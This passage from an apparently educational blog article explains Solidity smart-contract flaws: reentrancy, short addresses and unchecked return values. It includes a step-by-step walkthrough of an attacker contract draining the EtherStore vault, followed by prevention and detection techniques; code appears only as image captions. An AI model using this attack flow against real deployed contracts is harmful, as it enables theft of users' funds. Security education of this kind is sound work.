  3. Withdrawal sends value to malicious function (line 2)
  4. Malicious function’s fallback function calls withdrawal
  5. Withdrawal validates request (line 2)
  6. Withdrawal sends value to malicious function (line 2)
  7. Malicious function’s fallback function returns without doing anything
  8. Withdrawal updates internal ledger (line 3)
  9. Withdrawal returns to malicious fallback function (call from step 4)
  10. Malicious fallback function returns to withdrawal
  11. Withdrawal updates internal ledger (line 3)
  12. Withdrawal returns to malicious smart contract (call from line 1)

This flow is problematic because the internal ledger updates (steps 8 and 11) come after the value transfers (steps 3 and 6).  The second time that the malicious function calls withdrawal (step 4), withdrawal has no record of the transfer from step 3.  The test performed at step 5 tests against the original account balance (before step 3), not the value that should be in the account after the step 3 transfer.

This allows an attacker to withdraw more Ether from its account than it contains with the excess coming from other accounts on the smart contract.  Fixing this issue requires updating the internal state (line 4 of the code) before making the transfer (line 3 of the code), then testing afterward to ensure that the transfer was successful.

Short Addresses

Short address vulnerabilities arise from the fact that smart contracts can assume the length of its arguments without checking them.  For example, a function may assume that addresses are 20 bytes long but not check this fact, allowing an attacker to submit a 19-byte address.

If such a function calls a function that does enforce argument lengths, then the called function may take a byte from the next argument to meet the 20-byte target.  Later on, this argument will be right-padded to reach its desired length.

This creates a problem if, for example, the first function validates a transfer and the second performs it.  The value being transferred will be 256 times the value validated.

Unchecked Return Values

Like many other programming languages, Solidity has the concept of functions.  Solidity functions can take arguments and return values based upon the result of their execution.

One of the potential sources of confusion for Solidity programmers is the fact that similar functions handle errors differently.  For example, the low-level function send() in Solidity returns a value of False upon experiencing an error, while transfer(), a similar function, will cause execution to be halted and rolled up so that the transaction containing the error never happened.

This difference between two similar functions creates problems if developers do not know how to identify and properly handle errors when making function calls.  A call to send() that fails will allow execution to continue if the return value is not checked.  In contrast, most other low-level calls do not require a check because they terminate and roll up execution.

Reentrancy is probably the most famous Ethereum vulnerability, and it surprised everyone when discovered for the first time. It was first unveiled during a multimillion dollar heist which led to a hard fork of Ethereum. Reentrancy occurs when external contract calls are allowed to make new calls to the calling contract before the initial execution is complete. This means that the contract state may change in the middle of its execution, as a result of a call to an untrusted contract or the use of a low level function with an external address. One of the major dangers of calling external contracts is that they can take over the control flow. In a reentrancy attack, a malicious contract calls back into the calling contract before the first invocation of the function is finished. This may cause the different invocations of the function to interact in undesirable ways.

As is often the case with blockchain technology, the problems surrounding reentrancy in smart contracts do not originate in blockchain, but rather provide a novel and complex example of them.

Reentrancy is a term that has been present in computing for many years, and simply refers to the process whereby a process can be interrupted mid way through execution, have a different occurrence of the same function begin, then have both processes finish to completion. Reentrant functions are safely used in computing everyday. One good example is beginning an email draft in a server, exiting it to send another email, then being able to return to the draft to finish and send it.

So that’s a benign case of reentrancy that is simple, useful and not a threat. The problems begin to arise when this example is shifted away from a person sending an email, to a smart contract sending money. It’s a classic example of how cryptocurrencies and blockchain technology have upped the stakes of computing, providing some of its most sophisticated applications, whilst also making its pitfalls far more painful. The scale and cost of such reentrancy attacks should be a reminder that it is impossible to be too safe when it comes to code, and that a third party smart contract audit should be a staple of any project taking the security of their smart contracts seriously.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Vulnerability Details

The following image contains a function vulnerable to a reentrancy attack. When the low level call() function sends ether to the msg.sender address, it becomes vulnerable; if the address is a smart contract, the payment will trigger its fallback function with what’s left of the transaction gas:

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

An attacker can carefully construct a contract at an external address which contains malicious code in the fallback function. Thus, when a contract sends ether to this address, it will invoke the malicious code. Typically the malicious code executes a function on the vulnerable contract, performing operations which were not anticipated by the developer. The name “re-entrancy” comes from the fact that the external malicious contract calls back a function on the vulnerable contract and “re-enters” code execution at an arbitrary location on the vulnerable contract.

To clarify this, consider the simple vulnerable contract, which acts as an Ethereum vault only allowing depositors to withdraw 1 ether per week.

EtherStore.sol:

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks
Image 3: Contract Vulnerable to Reentrancy

This contract has two public functions. depositFunds() and withdrawFunds(). The depositFunds() function simply increments the senders balances. The withdrawFunds() function allows the sender to specify the amount of wei to withdraw. It will only succeed if the requested amount to withdraw is less than 1 ether and a withdrawal hasn’t occurred in the last week. 

The vulnerability comes on line [17] where the requested amount of ether is sent to the user. Consider a malicious attacker creating the following contract

Attack.sol:

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks
Image 4: Attacker Contract

Let’s see how this malicious contract can exploit the EtherStore contract. The attacker would create the above contract with the EtherStore‘s contract address as the constructor parameter. This will initialize and point the public variable etherStore to the contract to be attacked.

The attacker would then call the pwnEtherStore() function, with some amount of ether (greater than or equal to 1), let’s say 1 ether for this example. Assume a number of other users have deposited ether into this contract, such that it’s current balance is 10 ether. The following would then occur:

  1. Attack.sol – Line [15] – The depositFunds() function of the EtherStore contract will be called with a msg.value of 1 ether (and a lot of gas). The sender (msg.sender) will be the malicious contract (address). Thus, balances[address] = 1 ether.
  2. Attack.sol – Line [17] – The malicious contract will then call the withdrawFunds() function of the EtherStore contract with a parameter of 1 ether. This will pass all the requirements (Lines [12]-[16] of the EtherStore contract) as no previous withdrawals have been made.
  3. EtherStore.sol – Line [17] – The contract will then send 1 ether back to the malicious contract.
  4. Attack.sol – Line [25] – The ether sent to the malicious contract will then execute the fallback function.
  5. Attack.sol – Line [26] – The total balance of the EtherStore contract was 10 ether and is now 9 ether so this if statement passes.
  6. Attack.sol – Line [27] – The fallback function then calls the EtherStore withdrawFunds() function again and “re-enters” the EtherStore contract.
  7. EtherStore.sol – Line [11] – In this second call to withdrawFunds(), the balance is still 1 ether as line [18] has not yet been executed. Thus, the value remains as balances[address] = 1 ether. This is also the case for the lastWithdrawTime variable. Again, all the requirements are passed.
  8. EtherStore.sol – Line [17] – Another 1 ether is withdrawn.
  9. Steps 4-8 will repeat – until EtherStore.balance >= 1 as dictated by line [26] in Attack.sol.
  10. Attack.sol – Line [26] – Once there is less than 1 ether left in the EtherStore contract, this if statement will fail. This will then allow lines [18] and [19] of the EtherStore contract to be executed (for each call to the withdrawFunds() function).
  11. EtherStore.sol – Lines [18] and [19] – The balances and lastWithdrawTime mappings will be set and the execution will end.

The final result, is that the attacker has withdrawn all ether from the EtherStore contract, instantaneously with a single transaction.

Types of reentrancy attacks

There are three main types of reentrancy attacks: single function reentrancy, cross-function reentrancy and cross-contract reentrancy.

Single Function Reentrancy

This type of attack is the simplest and easiest to prevent. It occurs when the vulnerable function is the same function the attacker is trying to recursively call.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks
Image 5: Single Function Reentrancy

Since the user’s balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed and will withdraw the balance over and over again.

In the example given, the best way to prevent this attack is to make sure an external function is not called until all the required internal work has been completed:

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks
Image 6: Single Function Reentrancy Fixed

Note that if another function also called withdrawBalance(), it would be potentially subject to the same attack, so any function which calls an untrusted contract must also be treated as untrusted. 

Cross-function Reentrancy

These attacks are harder to detect. A cross-function reentrancy attack is possible when a vulnerable function shares state with another function that has a desirable effect for the attacker.

Image 7: Cross-function Reentrancy

In this case, the attacker calls transfer() when their code is executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal. The same solutions will work, with the same caveats. Also note that in this example, both functions were part of the same contract. However, the same bug can occur across multiple contracts, if those contracts share state.

Cross-contract Reentrancy

Cross-contract reentrancy can happen when the state from one contract is used in another contract, but that state is not fully updated before getting called.

The conditions required for the cross-contract reentrancy to be possible are as follows:

  • The execution flow can be controlled by the attacker to manipulate the contract state.
  • The value of the state in the contract is shared or used in another contract.

More Examples of the Vulnerability

More examples of this vulnerability can be found on my github:  https://github.com/ylevalle/SolidityReentrancy

Preventative Techniques

There are a number of common techniques which help avoid potential reentrancy vulnerabilities in smart contracts:

  • For the first two variations, Single Function Reentrancy and Cross-Function Reentrancy, a mutex lock can be implemented in the contract to prevent the functions in the same contract from being called repeatedly, thus, preventing reentrancy. A widely used method to implement the lock is inheriting OpenZeppelin’s ReentrancyGuard and use the nonReentrant modifier.
  • Another solution is to check and try updating all states before calling for external contracts, or the so-called “Checks-Effects-Interactions” pattern. This way, even when a reentrant calling is initiated, no impact can be made since all states have finished updating.
  • An alternative choice is to prevent the attacker from taking over the control flow of the contract. A set of whitelisted addresses can prevent the attacker from injecting unknown malicious contracts into the contract.
  • Another technique is pull payment, that achieves security by sending funds via an intermediary escrow and avoiding direct contact with potentially hostile contracts.
  • Finally, gas limits can prevent reentrancy attacks, but this should not be considered a security strategy as gas costs are dependent on Ethereum’s opcodes, which are subject to change. Smart contract code, on the other hand, is immutable. Regardless, it is worth knowing the difference between the functions: sendtransfer, and call. Functions send and transfer are essentially the same, but transfer will revert if the transaction fails, whereas send will not. In regard to reentrancy, send and transfer both have gas limits of 2300 units. Using these functions should prevent a reentrancy attack from occurring because this is not enough gas to recursively call back into the origin function to exploit funds.

Nevertheless, the contracts that integrate with other contracts, especially when the states are shared, should be checked in detail to make sure that the states used are correct and cannot be manipulated.

Detection Techniques

In general, a detailed manual inspection of the smart contracts code is what is needed to detect reentrancy vulnerabilities. But some of the smart contracts security tools like MythX and Mythril, can also help detecting reentrancy bugs, with the following limitations:

  • These detection tools analyze the smart contract code based on predefined attack patterns, and if the patterns match any part in the code, then the tools discover the vulnerability. Thus, these approaches mainly rely on complete patterns and the specific quality of these patterns.
  • The patterns these solutions rely on are based on the observation of the previous attacks and known vulnerabilities, which makes them limited and difficult to generalize.
  • All the solutions are only applicable before the deployment of smart contracts. This means once the smart contract is deployed on the Ethereum network, these solutions cannot prevent reentrancy attacks and cannot detect the attacker.
  • If a new reentrancy pattern is introduced after the deployment of the smart contracts, these solutions need to be updated; otherwise, they will not be able to detect the new attack patterns.

However, there are projects and researches about static analysis tools and frameworks that, given a contract’s source code, can identify functions vulnerable to reentrancy attacks. At a high level, these tools parse contract source code to extract particular keywords such as global variables and modifiers, tokenize the source code of each function in the contract, and feed embedded representations of these tokens through a model which classifies the function as reentrant or safe.


Smart Contract Vulnerabilities


Further Reading


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/lqjsHB2r6gU

Source: https://cryptodeeptech.ru/solidity-forcibly-send-ether-vulnerability


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Crypto Deep Tech